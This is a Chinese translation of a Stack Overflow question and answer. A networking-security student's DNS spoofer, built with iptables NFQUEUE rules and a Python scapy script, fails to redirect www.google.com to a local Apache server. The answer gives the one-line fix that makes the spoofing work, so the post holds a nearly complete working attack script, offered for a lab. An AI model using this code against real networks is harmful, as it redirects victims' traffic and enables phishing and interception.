首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >代位和netfilterqueue dns欺骗不起作用

代位和netfilterqueue dns欺骗不起作用
EN

Stack Overflow用户
提问于 2020-03-15 23:19:23
回答 1查看 504关注 0票数 0

我一直在学习一门关于网络安全的课程,目前我正试图使DNS欺骗器发挥作用。这样做的想法是,每次目标(同一台计算机)尝试转到www.google.com时,它都会转到apache服务器。但它唯一能做的就是不连接到谷歌。我想说的是,我没有什么经验。

我首先:

代码语言:javascript
复制
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0

然后讨论Python 3.7

代码语言:javascript
复制
import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if b'www.google.com' in qname:
            answer = scapy.DNSRR(rrname=qname, rdata=b'10.0.2.5')
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum
            packet.set_payload(b'scapy_packet')
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

我正在使用NAT网络,10.0.2.5是我的apache服务器。

EN

回答 1

Stack Overflow用户

发布于 2022-05-20 09:24:49

也许可以替换:

代码语言:javascript
复制
packet.set_payload(b'scapy_packet')

通过以下方式:

代码语言:javascript
复制
packet.set_payload(bytes(scapy_packet))
票数 -1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/60698657

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档